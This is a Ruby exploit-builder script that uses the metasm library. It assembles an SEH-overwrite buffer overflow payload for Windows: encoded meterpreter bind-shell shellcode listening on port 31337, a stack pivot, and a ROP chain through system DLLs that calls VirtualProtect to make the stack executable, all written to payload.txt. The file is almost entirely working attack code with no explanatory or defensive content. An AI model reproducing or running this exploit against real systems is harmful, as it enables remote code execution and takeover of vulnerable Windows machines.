#!/usr/bin/env ruby
# encoding: ascii
# By 0vercl0k
require 'metasm'
include Metasm
def assemble(instrs)
cpu = Ia32.new()
s = Shellcode.assemble(cpu, instrs)
return s.encoded().data
end
def main(args, argv)
# ./msfpayload windows/meterpreter/bind_tcp LPORT=31337 R | ./msfencode -t ruby -b "\x0d\x0a\x22\x00"
# [*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
payload =
"\xda\xce\xd9\x74\x24\xf4\xbb\xf3\xab\xb3\x3e\x5d\x2b\xc9" +
"\xb1\x4b\x31\x5d\x19\x03\x5d\x19\x83\xed\xfc\x11\x5e\x4f" +
"\xd6\x5c\xa1\xb0\x27\x3e\x2b\x55\x16\x6c\x4f\x1d\x0b\xa0" +
"\x1b\x73\xa0\x4b\x49\x60\x33\x39\x46\x87\xf4\xf7\xb0\xa6" +
"\x05\x36\x7d\x64\xc5\x59\x01\x77\x1a\xb9\x38\xb8\x6f\xb8" +
"\x7d\xa5\x80\xe8\xd6\xa1\x33\x1c\x52\xf7\x8f\x1d\xb4\x73" +
"\xaf\x65\xb1\x44\x44\xdf\xb8\x94\xf5\x54\xf2\x0c\x7d\x32" +
"\x23\x2c\x52\x21\x1f\x67\xdf\x91\xeb\x76\x09\xe8\x14\x49" +
"\x75\xa6\x2a\x65\x78\xb7\x6b\x42\x63\xc2\x87\xb0\x1e\xd4" +
"\x53\xca\xc4\x51\x46\x6c\x8e\xc1\xa2\x8c\x43\x97\x21\x82" +
"\x28\xdc\x6e\x87\xaf\x31\x05\xb3\x24\xb4\xca\x35\x7e\x92" +
"\xce\x1e\x24\xbb\x57\xfb\x8b\xc4\x88\xa3\x74\x60\xc2\x46" +
"\x60\x12\x89\x0e\x45\x28\x32\xcf\xc1\x3b\x41\xfd\x4e\x97" +
"\xcd\x4d\x06\x31\x09\xb1\x3d\x85\x85\x4c\xbe\xf5\x8c\x8a" +
"\xea\xa5\xa6\x3b\x93\x2e\x37\xc3\x46\xe0\x67\x6b\x39\x40" +
"\xd8\xcb\xe9\x28\x32\xc4\xd6\x48\x3d\x0e\x7f\xb9\x19\xe2" +
"\xe8\xbb\x9d\x7f\x80\x32\x7b\x15\x42\x12\xd3\x82\xa0\x41" +
"\xec\x35\xda\xa0\x40\xed\x4c\xfd\x8e\x29\x72\xfe\x84\x19" +
"\xdf\x57\x4f\xea\x33\x6c\x6e\xed\x19\xc5\xe7\x7a\xd7\x87" +
"\x4a\x1a\xe8\x82\x3f\xdc\x7c\x28\x96\x8b\xe8\x32\xcf\xfc" +
"\xb6\xcd\x3a\x77\x7e\x5b\x85\xe0\x7f\x8b\x05\xf1\x29\xc1" +
"\x05\x99\x8d\xb1\x55\xbc\xd1\x6c\xca\x6d\x44\x8e\xbb\xc2" +
"\xcf\xe6\x41\x3c\x27\xa9\xba\x6b\xb9\x96\x6c\x52\x3f\xee" +
"\x1a\xb6\x83"
escape_seh = [0x72c611c1].pack('I') # found with trigger_fuzzing.rb
offset_escape = 100 # found with trigger_fuzzing.rb
pivot = [0x72c6167f].pack('I') # found with find_pivot.rb
rop_stack = [
0x7c947862, # pop edx / ret (ntdll.dll)
0xBAADF4F4, # stack-pivot ret4
0xffffffc0, # newProtect (~0x40)
0x77BEBFE6, # neg edx / pop esi / pop ebp / retn (msvcrt.dll)
0xBAADF4F4, # dummy
0x76ae3ae0, # ptr to 'jmp esp' (WINMM.dll)
0x77df5887, # pop eax / ret (ADVAPI32.dll)
0x77e511f4, # ptr to ptr to VirtualProtect()
0x77e67a08, # mov eax, [eax] / ret (RPCRT4.dll)
0x77ebfd57, # push eax / dec eax / pop esi / ret (RPCRT4.dll)
0x77e98604, # pop ebx / ret (RPCRT4.dll)
0xffffffff, # <- change size to mark as executable if needed (-> ebx)
0x77C29EA4, # inc ebx / ret4 (msvcrt.dll)
0x77C29EA4, # inc ebx / ret4 (msvcrt.dll)
0xBAADF4F4, # dummy
0x7c981980, # pop ecx / ret (ntdll.dll)
0xBAADF4F4, # dummy
0x77eda001, # RW pointer (lpOldProtect) (-> ecx)
0x77e8d787, # pop edi / ret (RPCRT4.dll)
0x77e8d788, # ROP NOP (-> edi)
0x77df5887, # pop eax / retn (ADVAPI32.dll)
0x90909090, # NOPS (-> eax)
0x7c93751b # pushad / ret (ntdll.dll)
].pack("V*")
pivot_to_shellcode = assemble(<<EOS)
push esp
pop eax
sub ax, 624 ; we want to return on the begining of our payload
sub sp, 1288 ; pivoting the stack pointer to avoid payload self rewriting and other annoying things
jmp eax ; Get pwn!
EOS
goto_pivot_shellcode = assemble("jmp $-%d" % (100 + pivot_to_shellcode.size)) # jmp to the assembly code that jmp on the payload
exploit = payload + "\x90" * (532 - (payload.size + pivot_to_shellcode.size)) + pivot_to_shellcode + escape_seh + rop_stack + goto_pivot_shellcode + "A" * (offset_escape - (rop_stack.size + goto_pivot_shellcode.size)) + pivot + "B" * 100
f = File.open('payload.txt', 'ab')
f.puts("\"%s\"\n" % exploit)
f.close()
return 1
end
if $0 == __FILE__
exit(main(ARGV.size(), ARGV))
end